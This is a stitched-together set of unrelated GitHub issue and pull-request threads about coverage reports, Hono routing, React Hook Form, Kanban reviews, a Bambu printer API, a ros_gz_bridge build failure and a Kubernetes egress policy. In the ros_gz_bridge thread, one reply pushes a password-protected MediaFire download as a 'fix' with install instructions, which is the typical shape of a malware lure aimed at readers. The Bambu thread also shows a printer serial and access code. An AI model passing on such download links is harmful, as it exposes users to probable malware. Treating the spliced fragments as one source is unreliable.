Was there a reason why you used YAML for the API documentation in  /docs? We are not using or consuming YAML only Markdown docs in our process.
I think only having the wiki and /docs folder are fine and not have the user need to go outside of the project.
This repo will eventually get moved to its own org repo as github com/codebooker/ so we can add a codebooker.github.io at that time
Also, while using github.io is fine, i think thats outside the scope right now
Thoughts @bmacarini @LOGESH-B @BlackBond06, etc?

@gbowne1
I created the API documentation using Swagger, which uses YAML. I opted for this tool because it generates a page that provides more context about the routes and allows developers to test them. Although they have to leave the project page to access it, I believe it greatly enhances the development experience.

I haven't used Swagger, so I don't know.  I don't also know if anyone else used/uses Swagger with this project either.
You can add docs in Markdown.
I use Postman and Postman as well as MongoDB extensions in VSCode to work with this project..
We will be creating an API eventually that other services can consume for programming/coding/software development books.
We aren't too far off from migrating to a org so we can create tools for this app as well as for these:
Please feel free to also contribute to:
https://github.com/gbowne1/reactsocialnetwork
https://github.com/gbowne1/ProgrammerNotes
https://github.com/gbowne1/TwitchBot
https://github.com/gbowne1/fashion-marketplace
https://github.com/gbowne1/gbowne1site_react
https://github.com/gbowne1/RadioLogger
https://github.com/gbowne1/spmssite
https://github.com/gbowne1/SavvyBudget

This can be merged as is, so merging and closing this.


improvement: new API for cache management, unify standardized model

Pull Request Test Coverage Report for Build 1003

13 of 29 (44.83%)  changed or added relevant lines in 4 files are covered.
34 unchanged lines in 8 files lost coverage.
Overall coverage decreased (-0.3%) to 62.128%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

core/registry/cache.go
12
14
85.71%

core/registry/pilot/cache.go
0
3
0.0%

core/registry/servicecenter/cache.go
0
11
0.0%

Files with Coverage Reduction
New Missed Lines
%

eventlistener/loadbalance_event_listener.go
2
66.67%

core/loadbalancer/load_balancer.go
3
70.91%

core/registry/servicecenter/cache.go
3
35.99%

core/registry/registrator.go
3
63.06%

core/config/key_generator.go
3
28.85%

client/rest/rest_client.go
5
79.8%

server/highway/highway_conn.go
7
75.68%

core/lager/logrotate.go
8
33.48%

Totals

Change from base Build 1002:
-0.3%

Covered Lines:
4964

Relevant Lines:
7990

💛  - Coveralls


Nextjs hono.js router not working after upgrade to 1.0.2

import { Hono } from 'hono';
import { auth } from '@/lib/auth';

const authRouter = new Hono().on(['POST', 'GET'], '/**', (c) => {
  return auth.handler(c.req.raw);
});

export default authRouter;

Replace the /** with /* and it will be works fine.
Please update documentation.


Audit how tests are added in cmake that they work with colcon test as expected

We've taken care of this.


⚠ Bofrost.at has degraded performance

In a951ad6, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1670 ms

Resolved: Bofrost.at performance has improved in eec50d4.


Message: request to redacted:url failed, reason: read ECONNRESET

Does this occur consistently?
Repro steps:

Action: appService.Deploy
Error type: object
Error Message: request to redacted:url failed, reason: read ECONNRESET
Version: 0.24.9
OS: win32
OS Release: 10.0.22621
Product: Visual Studio Code
Product Version: 1.79.2
Language: es

Call Stack
extension.bundle.js:2:4191473

Please fill out the requested information in the issue description.

This issue has been closed automatically because it needs more information and has not had recent activity. See also our issue reporting guidelines.
Happy Coding!


$0.start is not a function error

From directory:

Im getting a
(TypeError) : $0.start is not a function

in an error popup when using it as
  	SimpleTimer timer = new SimpleTimer(new BigDecimal("1"));
  	layout.add(timer);
  	timer.start();
  	timer.addTimerEndEvent(ev-> Notification.show("Timer ended"));

Second message added more information:

I'm using Vaadin 21.0.0 with Spring boot 2.5.4.

Problem solved (at least avoided by commenting the vaadin.whitelisted-packages= in  application.properties

Hello @Antho1989 sorry for the delay on this. Instead of removing you could update the whitelisted property adding
com.flowingcode.vaadin.addons to it as it's mentioned here. It will look something like this:
vaadin.whitelisted-packages = com.vaadin,org.vaadin,dev.hilla,com.example.application,com.flowingcode.vaadin.addons


How to add events to month view & reload the monthview ?

@Mozharovsky Hi ..
First of all thanks you for such wonderful library !!! I am using CV Calendar view in my iPad application. In my application, gets the appointments using RESTful API, but when actual data gets, the delegates methods has been called. How to add events or array of events into month view ? And how to reload the month view ? Thank in advance !!!!

In order to reload monthView you need to write following line.
calendarView.contentController.refreshPresentedMonth()

Thanks @Rashesh-Bosamiya for helping others out. I'll close this issue for now, @YogeshBharate if you've further remarks please comment.


remove duplicate check

there is two same check about len(missing), keep one is enough.
Signed-off-by: Xiang Dai<EMAIL_ADDRESS>

/rerun

@bacongobbler hi, seems build OOM from /usr/local/go/pkg/tool/linux_amd64/link: signal: killed in https://circleci.com/gh/helm/helm/9133?utm_campaign=vcs-integration-link&utm_medium=referral&utm_source=github-build-link

@daixiang0 On Helm v2 we are close to the memory limit for circleci and sometimes have that problem. We can rebuild when that happens. Helm v3 does not have this issue.


[RAC]  TextField + React Hook Form

I was giving the TextField component a try, along with React Hook Form.
Now, adding the props returned by register function into the TextField component is not working as expected, I know this can easily be solved by spreading the props on the Input element that we nest under the TextField anyway, but was curious to know about the API and design decisions.
{name: 'companyName', onChange: ƒ, onBlur: ƒ, ref: ƒ}

Passing props to TextField shouldn't just work?
Originally posted by @thevipinmishra in https://github.com/adobe/react-spectrum/discussions/5089

I'm not sure what you mean, the props on TextField work fine for me? https://codesandbox.io/s/heuristic-cloud-kynmh9?file=/src/App.js
Can you provide a minimal codesandbox to reproduce the issue you're having?

onChange is not standard with react-aria. It doesn't expose the event, but directly the value. Here's what you need:
/**
 * Used to make the onChange callback compatible with react-aria wich doesn't send an event but the value of the field
 */
export function useRegisterReactAria<
  TFieldValues extends FieldValues,
  TFieldName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>,
>(
  register: UseFormRegister<TFieldValues>,
): (
  name: TFieldName,
  options?: RegisterOptions<TFieldValues, TFieldName>,
) => Omit<UseFormRegisterReturn<TFieldName>, "onChange"> & Pick<ValueBase<unknown>, "onChange"> {
  return function (name, options) {
    const { onChange, ...rest } = register(name, options);

    return {
      ...rest,
      onChange: (value: unknown) => {
        // We need to expose the name too to make the formState working, like trigger "isDirty", ...
        void onChange({ target: { value, name } });
      },
    };
  };
}

/**
 * Used to make the onChange callback compatible with react-aria. @see useRegisterReactAria
 * The rest of the react-hook-form useForm() function is simply exposed.
 */
export function useFormAria<
  TFieldValues extends FieldValues = FieldValues,
  TContext = unknown,
  TTransformedValues extends FieldValues | undefined = undefined,
>(
  props?: UseFormProps<TFieldValues, TContext>,
): Omit<UseFormReturn<TFieldValues, TContext, TTransformedValues>, "register"> & {
  register: ReturnType<typeof useRegisterReactAria<TFieldValues>>;
} {
  const { register: _register, ...rest } = useForm(props);
  const register = useRegisterReactAria(_register);

  return { ...rest, register };
}

The value being unknown could probably be better typed from TFieldValues but I didn't took the time to inspect more here.

Looks like <Input /> from react-aria-components is a standard input, so onChange is standard, unlike the onChange from the hook. The TextField + Input are not using the inputProps from the useTextField hook. That's why it's working with the components but not if you build your own textfield input with the hook.
@thevipinmishra you need to pass <Input /> to the controller, not TextField https://codesandbox.io/s/react-hook-form-with-ui-library-ts-forked-prcxpt

This may work for TextField, but I would recommend using onChange on the top-level component and not putting it on <Input> directly. For example, with a NumberField, the onChange event can be emitted even when the Input does not fire the native onChange (e.g. due to up down arrow key presses). That's why we've standardized on just emitting the value in all onChange events for consistency.
Example: https://codesandbox.io/s/react-hook-form-with-ui-library-ts-forked-9xjlkm?file=/src/index.tsx

Ok, I am not using react-aria-components, but good to know. It works like the hook then (which makes sense and is good) I've update my codesandox (yours doesn't work btw) but as expected, the example with the Controller in https://github.com/adobe/react-spectrum/discussions/5089#discussioncomment-7022772 doesn't work. It can't automagically found how onChange works.

We now have a section in the docs that shows how to use React Aria Components with React Hook Form. https://react-spectrum.adobe.com/react-aria/forms.html#react-hook-form Going to close this for now.


Kanban Board setup

2 person team
https://github.com/lucascomamala/space-travelers-hub/projects/1

Hi Team,
Good job so far!
To Highlight! :clap:  :green_circle:
:heavy_check_mark:  Good job with issue description
There are some issues that you still need to work on to get this project approved, but you are almost there!

Status: Requires Changes ♻
Check the comments under the review.

[ ] Please make sure you have 17 cards in your kanban board, only cards with Team3 prefix should be removed.
[ ] Please make sure all the  cards are assigned among the team members and in a fair way, each team member should have cards in these categories: Setup, Fetch data, Lists render, Actions, Conditional components, Filters. Something like so:

Optional suggestions
Every comment with the [OPTIONAL] prefix is not crucial enough to stop the approval of this PR. However, I strongly recommend you to take them into account as they can make your code better.
N/A
Cheers and Happy coding!👏👏👏
Feel free to leave any questions or comments in the PR thread if something is not 100% clear or you can get to me on slack  using this handle @mihndim.
Please, remember to tag me in your question so I can receive the notification.
Please, do not open a new Pull Request for re-reviews. You should use the same Pull Request submitted for the first review, either valid or invalid unless it is requested otherwise.

As described in the Code reviews limits policy you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.

Hi @lucascomamala ,
Great work on making the changes requested by a previous reviewer 👏
You've done well implementing some of the requested changes, but there are still some which aren't addressed yet.
Highlights

Great job creating an Issue👍

Required Changes ♻

[ ] Like the previous reviewer mentioned kindly make sure you have 17 cards in your Kanban board 🙏 .  The cards for group tasks and create basic structure for rockets are missing. Kindly add them.

Missing Cards
Missing Cards

Check the comments under the review.
Optional suggestions
Every comment with the [OPTIONAL] prefix won't stop the approval of this PR. However, I strongly recommend you to take them into account as they can make your code better. Some of them were simply missed by the previous reviewer and addressing them will really improve your application.
Cheers and Happy coding!👏👏👏
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag me in your question so I can receive the notification.
Please, do not open a new Pull Request for re-reviews. You should use the same Pull Request submitted for the first review, either valid or invalid unless it is requested otherwise.

As described in the Code reviews limits policy  you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.

I started again with a new project and ran into the exact same issue which leads me to believe that it's the script that's not working properly. I went ahead and added the missing cards manually.

Hi Team,
Your project is complete!  There is nothing else to say other than... it's time to merge it :shipit:
Congratulations! 🎉
Cheers and Happy coding!👏👏👏
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag me in your question so I can receive the notification.

As described in the Code reviews limits policy  you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.


Add optional integration with (erased) Serde

Closing this as this does not fit with the "reasonably simple" aim of the project.


go-to-definition for new associations doesn't work until Ruby LSP is restarted

If users add a new association, say belongs_to :user to the Post model, the go-to-definition for :user will not work until the LSP server is restarted.

We may need to call clear_reflections_cache


Intercept beforeSendMessage calls

Motivation
Currently the message metadata headers are deserialized for filtering
out the entries to dispatch. Add a beforeSendMessage method to
intercept entries before sending them to consumers

@sijie CI failed for checkstyles:
Error:  src/main/java/org/apache/pulsar/broker/namespace/NamespaceService.java:[237] (javadoc) JavadocStyle: First sentence should end with a period.
Error:  src/main/java/org/apache/pulsar/broker/namespace/NamespaceService.java:[242] (sizes) LineLength: Line is longer than 120 characters (found 129).
Error:  src/main/java/org/apache/pulsar/broker/namespace/NamespaceService.java:[270] (sizes) LineLength: Line is longer than 120 characters (found 132).

seems already  have PR #8933 to fix this checkstyle issue

/pulsarbot run-failure-checks


Gitea for Android?

Feature Description
Just a spontaneous idea: Run GItea on Android. In best case on a normal "unrooted" device.
Have the repo in your pocket. Always on device (battery), low electricity costs, wireless, no annoying LED flashing (LAN), etc.
But the server should be hot pluggable. Means WiFi off/on (airplane mode) should have no issues.
What do you think? Is that possible?

This is currently possible as Gitea is packaged for termux

Great, it works. Thanks.
In case anyone is interested:

Download the Termux app from F-Droid (PlayStore does not work due to OpenSSL issues. Or download APK from GitHub)
Run Termux and Install Gitea by command pkg install gitea and run with command gitea.


bug: Grammatical mistake on the certificate

Describe the bug
There is grammatical mistake on the certificate.
Current behavior
The Certificate is proudly presented to Harman has successfully completed 0-1 MERN Full Stack Web Development Course
Expected behavior
The Certificate is proudly presented to Harman on successfully completing 0-1 MERN Full Stack Web Development Course
Screenshots

Should I just change the text in the useCertGen.ts file?


Fix website build in release-website script

Checklist
(Check off all the items before submitting)

[x] Build process is done without errors and all tests pass in /lib directory.
[x] Self-reviewed the code prior to submitting.
[x] Meets accessibility standards.
[x] Added/updated documentation to /website as needed.
[x] Added/updated tests as needed.

Purpose
Fix the error that we have in the Publish Release workflow.
Description
Removed build process from YAML file and added directory to website in publish-release script.
Screenshots

Hye, It makes sense to me, but could you explain what was the change that made the build start failing?

It started failing when we moved the build process to the script instead of the YAML file. I forgot to add the change of directory to the command.


tls: fix wilcard matching

Commit Message: Wildcard must match only a single domain component: *.example.com matches foo.example.com but not foo.bar.example.com.
Additional Description: I'm not familiar with Envoy codebase but thought I could provide a first fix attempt which would help someone (possibly me) to finalize the fix.
Risk Level: Low
Testing: none yet
Docs Changes:
Release Notes:
[Optional Runtime guard:]
[Optional Fixes #Issue]
[Optional Deprecated:]

/azp run

/azp run

Thank you for the contribution!
This has been super-ceded by #11921, which is just polishing up your change.


Add upcoming funding card to v2project page

What does this PR do and why?
Provide a description of what this PR does. Link to any relevant GitHub issues,
Notion tasks or Discord discussions.
Screenshots or screen recordings
If applicable,

provide screenshots or screen recordings to demonstrate the
changes.
Acceptance checklist

[ ] I have evaluated the Approval Guidelines for this PR.
[ ] I have tested this PR in all supported browsers.

@aeolianeth addressed your latest


Change task highlight color to a color from the used spectrum

The blue shade kinda stands out, make it a warmer color. Thanks!

... whatever, I guess.


Source map should behave the same way in --dir as in --out

This does result in a bunch of .map files but this is actually what I want when using --dir anyway

Closing since this has not been touched in a long time.


[Docs]

Current State
https://docs.meshery.io/concepts/architecture/operator
In the current page if i try to go back to architecture via the above links present on the page for architecture it gives a 404
Desired State
the path must be properly set for the architecture page so that it does not redirects to 404

Contributor Guides and Handbook

📚 Instructions for contributing to documentation

Meshery documentation site and source

🛠 Meshery Build & Release Strategy
🎨 Wireframes and designs for Meshery UI in Figma
🙋🏾🙋🏼 Questions: Discussion Forum and Community Slack

Thanks @sassukeuchiha 😄 . Do you want to work on this issue?

Yes would love to :)

Here you go @sassukeuchiha 🚀

hey @UtkarshMishra12 can you guide me through this ,
I have to make following changes

Need to change this as
architecture
I tried finding out this in out github meshery docs and was not able to found where that custom meshery part is there
So after reading docsy jenkyll i found out that the issue that i pointed out is a part of breadcrumb issue
https://www.docsy.dev/docs/adding-content/navigation/
here in the breadcrumb navigation it states that we can just turn on or off the navigation.

Are you suggesting to remove the breadcrumbs? If so, this isn't the answer.

No no god no😂
I was just asking where we are keeping the custom meshery(meshery custom begin) paths as seen in the above image because I wasn't able to find those...and in the docs of jenkyll only information on sidebar was present...so if anyone knows where we are keeping the custom paths they can help me through this

Hey , this issue is present in multiple places , if we navigate to 4th page in a hierarchy lets say https://docs.meshery.io/es/concepts/architecture/broker and if you click on architecture or es on top navigation bar it gives 404
I think we might have to update the breadcrumbs.html file
https://github.com/sassukeuchiha/meshery/blob/master/docs/_includes/breadcrumbs.html
I am still trying to figure out how should we update this

@sassukeuchiha  I'm not able to reproduce the same error, It's working fine for me.
Want to say anything? 🤔  else I'm closing this issue.

Hey @UtkarshMishra12
I got this fixed in another PR, It was merged today morning
https://github.com/meshery/meshery/pull/6906#issuecomment-1386397492
Will close this issue


Lonewolf: Round changes

An interface should be provided to allow mods to indicate when players register, withdraw, or have a bye.

Implemented as part of the "Manage players" page.


Upgrade to spec 0.9 and libcnb 0.13.0

Libcnb now targets spec version 0.9. The largest change is that bash processes no longer work for default processes. The workaround is to manually invoke bash -c  (python example).

Bumps libcnb from 0.11.5 to 0.13.0.

Release notes
Changelog
Commits

updated-dependencies:

dependency-name: libcnb dependency-type: direct:production update-type: version-update:semver-minor ...

GUS-W-13680510

I think we need to upgrade the procfile buildpack to 0.9 spec too. Otherwise, I have no clue how the two will play together. I think this is good to go though.

https://github.com/heroku/procfile-cnb/issues/151

Need to get cnb_shim inline with API spec 0.9 before procfile-cnb can be updated before this can be merged in heroku/procfile-cnb#151

It's up to you, but I would say you could proceed with updating Ruby to the newer API even before cnb-shim is updated, since:

some other buildpacks have already updated
it only breaks people using cnb-shim with profile.d-creating legacy buildpacks (of which there aren't likely to be many at present)
we're still in a pre-beta phase where edge cases like combining with shimmed buildpacks are mostly out of scope IMO

Manuel is out. I'm going to ask @edmorley for a review. I just implemented this suggestion https://github.com/heroku/buildpacks-ruby/pull/157#discussion_r1254750159. This is a two-way door, and I can always set up a refactoring session with Manuel when he comes back if there are further style considerations to explore.


[Service and Support] Create Support Options block

https://www.moleculardevices.com/service-support

This should be an image-list block as already imported. @andreituicu can help with that.


Can't connect with the simple example

I'm unable to connect with the example (code as of today, after the fix made in #39 that was reported in #38 as connection issues).
I have the correct IP/Serial/Access Code, I'm not on lan-only mode and have other software (OctoEverywhere) that connects to the printer properly from the same local network.
I also tested that ports 8883, 990 and 6000 are all open on the printer (using nmap).
And the example provided in #38 by @CCJv does work for me.
I get the following log:
Starting bambulabs_api example
Connecting to Bambulabs 3D printer
IP: <IP_ADDRESS>
Serial: 01P00A3A2900822
Access Code: 26259876
Starting camera thread.
ERROR:root:Not connected to the MQTT server
Printer status: UNKNOWN

and then it hangs
if I press ^C, I get:
Traceback (most recent call last):
  File "/Users/my_user/ProgProj/bambulab/try1.py", line 27, in <module>
    printer.disconnect()
  File "/usr/local/lib/python3.11/site-packages/bambulabs_api/client.py", line 47, in disconnect
    self.__printerCamera.stop()
  File "/usr/local/lib/python3.11/site-packages/bambulabs_api/camera_client.py", line 31, in stop
    self.__thread.join()
  File<EMAIL_ADDRESS>line 1119, in join
    self._wait_for_tstate_lock()
  File<EMAIL_ADDRESS>line 1139, in _wait_for_tstate_lock
    if lock.acquire(block, timeout):
       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^

There's a small issue with previous versions of the example. Try using the example in the README

There's a small issue with previous versions of the example. Try using the example in the README

I'm using the code from the README.
Maybe something changed with recent firmware updates?
Here is the code I'm using (with a Bambulab P1S):
 print('Starting bambulabs_api example')
 print('Connecting to Bambulabs 3D printer')
 print(f'IP: {IP}')
 print(f'Serial: {SERIAL}')
 print(f'Access Code: {ACCESS_CODE}')

 # Create a new instance of the API
 printer = bl.Printer(IP, ACCESS_CODE, SERIAL)

 # Connect to the Bambulabs 3D printer
 printer.connect()

 # Get the printer status
 status = printer.get_state()
 print(f'Printer status: {status}')

 # Disconnect from the Bambulabs 3D printer
 printer.disconnect()

The example should be working, could you check again that the configs are all correct?

The configs (IP, ACCESS_CODE, SERIAL) are surely correct because I use the same variables (copy/pasted) in the 2nd code provided in https://github.com/acse-ci223/bambulabs_api/issues/38#issuecomment-2261420451 , and it is connecting and working.
I'm not missing any other config there, right?

Are you using the pip package or have you cloned the repo? If you're using pip it could be a version issue.

I'm using pip, when I check the version, this is what I see (which seems newer than the latest release published on this repo (2.3.1) (but not uncommon to see versions released without the release showing on github):
Name: bambulabs_api
Version: 2.3.3
Summary: API for BambuLabs 3D Printers over MQTT
Home-page: https://github.com/acse-ci223/bambulabs_api
Author: Chris Ioannidis
Author-email: Chris Ioannidis<EMAIL_ADDRESS>License:
Location: /usr/local/lib/python3.11/site-packages
Requires: paho-mqtt
Required-by:

Could the released version be not working and need require using the clone?

The released version should be working.  2.3.1 has been tested

So 2.3.3 I have should work?

Yes, it should be working

@yanshay I get the same issue. unable to connect.

The issue seems to be that the pushall command (which triggers the printer to publish a more complete report) is temperamental

thanks, fixed by putting a sleep in the  def __publish_command function within the PrinterMQTTClient class

im getting this same issue how do i fix this?

@JustJace1 Have you updated to the latest version and using the example found in the README or the examples folder?

yes it still wont connect

This should be fixed now in #64


Gridview Layout collapses after opening the view for a second time.

I just don't know if SDWebImageSwiftUI causes this issue.
Grid(self.store.state.myPostsState.posts) { index in
      RoundedURLImage(imageURL: postImageURL(uid: index.reference.documentID), borderWidth: 0)
    .scaledToFit()
     .cornerRadius(18)
      .clipped()
  }
   .animation(.easeInOut)

I just don't know if SDWebImageSwiftUI causes this issue.
Grid(self.store.state.myPostsState.posts) { index in
                    RoundedURLImage(imageURL: postImageURL(uid: index.reference.documentID), borderWidth: 0)
                        .scaledToFit()
                        .cornerRadius(18)
                        .clipped()
                }
                .animation(.easeInOut)

@anoels it might if it's an async operation. Do you have the same error when using SwiftUI.Image?

It works fine with SwiftUI.Image. However, it seems like, this time, it also collapses if I add more view into the same Scrollview.

In my case, this happens only if the grid has only 1 element to show.

It happens for me too. Whenever, I come to the view for the second time, the layout collapses.

It is because of the current version of the Swift that you are using. If you want, you can give it a try to the beta version of the XCode.


Figure out how to include patternfly

do not include patternfly directly, if there's no gem, find out how to include it or make a gem

https://github.com/ManageIQ/manageiq/issues/1582

@martinpovolny If this issue is resolved, please close it.


Add threading support for the video command

The basic idea is that we hide the two decoders behind a Mutex, and let the worker threads decode two frames (one per decoder) to calculate the SSIMU2 score. It's written so that the Mutex lock is dropped as quickly as possible after decoding the frames, so another worker thread can start decoding ASAP. The resulting score value is sent via result_tx to result_rx, which is used in the main thread to accumulate the scores and handle the terminal output.
Some notes:

I've tested a few approaches to multithreading, but it looks like there's always some memory bottleneck which is hit somewhere between 4 and 5 worker threads on my machine. I've "confirmed" it's a memory bottleneck by downclocking my RAM, which significantly reduced the performance ceiling.
With every thread holding up to 2 frames at a time, it's very easy to hit OOM if you just enter a high threads value. I've thought about clamping the parameter to something like (1, 20) but then decided against it, as this is a user error.
Minor point but I'm not sure if I should avoid using drop like that. Other languages with "automatic" memory management generally discourage manual deletion of variables. There's other ways to drop the value (move some of the code into a new scope, for example) but this seemed to be the easiest and most obvious way

Rebased & addressed the feedback. The Mutex now also guards a usize that is incremented every time both decoders successfully decode and return a frame to the score calculation.


Default connection

Currently it's possible to seed konga users (https://github.com/pantsel/konga/blob/master/docs/DEFAULTUSERSEEDDATA.md).
Is there also a way to seed connections?

@talentrydev , I'm afraid not. Not at this point.

Thanks for a quick answer!


Use new constructor for label definition

Description
This is a small PR to update the LabelDefinition constructor, which now takes a LabelExpression and TextSymbol. @jenmerritt could you take a look please? Thanks!

whoops, thanks @jenmerritt good spot! I've fixed that up now.


GlobalTracer::tracer should be volatile

As the GlobalTracer::tracer is only set in a synchronized block but might be dereferenced outside of it, the field must be volatile.

Although these is little chance about initializing GlobalTracer in multi-thread, IMO it should initialize in starting stage, still this is a risk. I have send #158 for this.

Has already added. Thanks


Zooming on Small Images Should Fill Available Space

Is your feature request related to a problem? Please describe.
Zooming in on small pictures for more accurate labeling is made less useful by the fact that the original image size limits the size of the zoomed in area. With a fullscreen browser window I have lots of extra space, but when I zoom in on a small image I'm stuck looking at the zoomed in section through a frustratingly small area, requiring panning to move around, when there's plenty of space in the window to show the larger image.
Describe the solution you'd like
Zooming in on an image should increase the size of the image in the window as well, filling available space.

Just came upon this request. Even I could work with the solution in #1229 I'd like to upvote being able to zoom the way described in the screenshots and this request. I's more natural in my opinion.


feat: Add link from doc to web app and vice-versa

Is your feature request related to a problem? Please describe.
There is currently no link from the Kuirl User Guide to the web app, and from the web app to Kuirl User Guide.
Describe the solution you'd like
Add a visible link to the doc and the web app to link each other.
Describe alternatives you've considered
N.A.
Additional context
These links will be needed by the user testers during the user testing phase.

@flavens: I can do that.

I just added links to the web app on the new documentation page.


[usecase-apptools] Add manifest.json for usecase apptools

Add manifest.json for packing deepin package successful
BUG=https://crosswalk-project.org/jira/browse/XWALK-4409

LGTM


Control Addin event  $(window).load()

After many attempts, I still don't find the right place where to put the  $(window).load() event.
I had a simple code in that event in a NAV2017 addin. To test it in the new  environment i create this function :
$(window).load(function () {
alert("Pippo");
});
it should be fired after the $(document).ready event (that start correctly)
I tried to put  the test code in the startup script, after the $(document).ready and in a separate script (with just window.load code). It never fires.
How can I solve this issue? Is there any walk-around?

Well, the "load" event of the window will most probably already have hapeened when you get the chance to add your code in the iframe.
http://www.w3schools.com/jsref/event_frame_onload.asp
maybe this helps?

Thanks for the answer Thomas, but I am not so sure. In NAV2017 I observed a difference behavior from RTC client and Webclient, difference about the order of the events (I don't remember exactly which is the case), but in one client windows.load triggers before document.ready and in the other client, after. If i am not wrong, in the web client windows.load triggers after the document ready. Since I could intercept the document.ready in VSC, I think something change. I had code in that trigger (window.load) to render the objects in a  canvas, after it has been create.

window.ready ->will be fired when the html document (s) is/are completely loaded.
windo.onload -> is thrown when all contents (images, scripts, pages....) have been loaded.

Thanks Mathias, the problem is I can't find the write place where to intercept the window.load.  It has never been triggered

I would write it in the start script. What do you have in mind? eventually there could be an alternative to document. load. If you just want to load a canvas you could use its load event. If you moved code to a second script, how did you integrate it into your app?

The startup script already runs inside the window.onload handler. Therefore the new subscription does not work as the event already emitted.
You can see this if you inspect the generated html code for the iframe. The alert() is what I've put into my startup script.


ros_gz_bridge build failed

Environment

OS Version: Ubuntu 24.04
Source or binary build?
binary build.
gazebo harmonic
ros2 jazzy

Steps to reproduce
I just follow the exact steps on the tutorial,
but ros_gz_bridge build failed.
Output
Starting >>> ros_gz_interfaces
Starting >>> ros_gz_sim
Starting >>> sdformat_test_files
Starting >>> ros_gz_example_description
Starting >>> ros_gz_example_application
Finished <<< ros_gz_example_description [0.18s]
Starting >>> ros_gz_example_gazebo
Finished <<< sdformat_test_files [0.20s]
Finished <<< ros_gz_example_application [0.20s]
Starting >>> sdformat_urdf
Finished <<< ros_gz_sim [0.29s]
Starting >>> ros_ign_gazebo
Finished <<< ros_gz_example_gazebo [0.23s]
Starting >>> ros_gz_example_bringup
Finished <<< ros_ign_gazebo [0.18s]
Finished <<< sdformat_urdf [0.29s]
Finished <<< ros_gz_example_bringup [0.12s]
Finished <<< ros_gz_interfaces [2.31s]
Starting >>> ros_gz_bridge
Starting >>> ros_ign_interfaces
Finished <<< ros_ign_interfaces [1.49s]
--- stderr: ros_gz_bridge
/usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::detail::memory::create_node()' /usr/bin/ld: libros_gz_bridge.so: undefined reference to vtable for YAML::InvalidNode'
/usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::detail::node_data::empty_scalar[abi:cxx11]()' /usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::detail::node_data::begin()'
/usr/bin/ld: libros_gz_bridge.so: undefined reference to vtable for YAML::BadSubscript' /usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::detail::node_data::set_null()'
/usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::detail::node_data::end()' /usr/bin/ld: libros_gz_bridge.so: undefined reference to typeinfo for YAML::BadConversion'
/usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::BadConversion::~BadConversion()' /usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::convert::decode(YAML::Node const&, bool&)'
/usr/bin/ld: libros_gz_bridge.so: undefined reference to typeinfo for YAML::InvalidNode' /usr/bin/ld: libros_gz_bridge.so: undefined reference to typeinfo for YAML::BadSubscript'
/usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::Load(std::istream&)' /usr/bin/ld: libros_gz_bridge.so: undefined reference to vtable for YAML::RepresentationException'
/usr/bin/ld: libros_gz_bridge.so: undefined reference to vtable for YAML::Exception' /usr/bin/ld: libros_gz_bridge.so: undefined reference to vtable for YAML::BadConversion'
/usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::detail::memory_holder::merge(YAML::detail::memory_holder&)' /usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::InvalidNode::~InvalidNode()'
/usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::BadSubscript::~BadSubscript()' /usr/bin/ld: libros_gz_bridge.so: undefined reference to YAML::detail::node_data::mark_defined()'
collect2: error: ld returned 1 exit status
gmake[2]: *** [CMakeFiles/static_bridge.dir/build.make:278: static_bridge] 오류 1
gmake[1]: *** [CMakeFiles/Makefile2:261: CMakeFiles/static_bridge.dir/all] 오류 2
...
Summary: 10 packages finished [17.0s]
1 package failed: ros_gz_bridge
1 package had stderr output: ros_gz_bridge
8 packages not processed

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


refactor(grammar): minor spelling and contextual grammar changes

which vs that
Commas at the beginning of the sentences and before an 'and' when there
are more than 2 elements
in vs on
possesive nouns "'s"

Thanks for the fixes!


Update to Bootstrap 2.0

it will be full responsive :)

you can use the mopabootstrapbundle

hey thanks nice advice we will consider this

update to bootstrap v2 complete
used https://github.com/ruian/TwitterBootstrapBundle
There is one problem with the bootstrap javascript. So tabs dont work at the moment

no the javascript order is fixed everything is working


refTop.html has an incorrect URL

https://www.canada.ca/etc/designs/canada/cdts/gcweb/v4_0_45/css/noscript.min.css -> https://www.canada.ca/etc/designs/canada/cdts/gcweb/v4_0_45/wet-boew/css/noscript.min.css

Issue came via email


NetworkPolicys using except are not recognised by the plugin

What happened:
I have created a NetworkPolicy which should allow all outbound traffic from pods in the same namespace, except for traffic to a specific IP range (<IP_ADDRESS>). However when applying this policy and testing, the explicitly denied IP range is still accessible from all pods in the namespace.
Here is the networkPolicy I used:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-ec2-metadata
spec:
  egress:
    - to:
      - ipBlock:
          cidr: <IP_ADDRESS>/0
          except:
            - <IP_ADDRESS>/32
  podSelector:
    matchLabels: {}
  policyTypes:
    - Egress

Here is an excerpt from the node logs (this is an EKS managed node which hosted the pod I was testing from):
/var/log/aws-routed-eni/network-policy-agent.log
{"level":"info","timestamp":"2023-10-09T10:01:34.774Z","logger":"ebpf-client","msg":"Flow Info:  ","Src IP":"****","Src Port":50878,"Dest IP":"<IP_ADDRESS>",
"Dest Port":80,"Proto":"TCP","Verdict":"ACCEPT"}

What you expected to happen:
The communication from the pod to the IP <IP_ADDRESS> should have timed out and the /var/log/aws-routed-eni/network-policy-agent.log file should have printed that the call was DENY rather than ACCEPT
How to reproduce it (as minimally and precisely as possible):

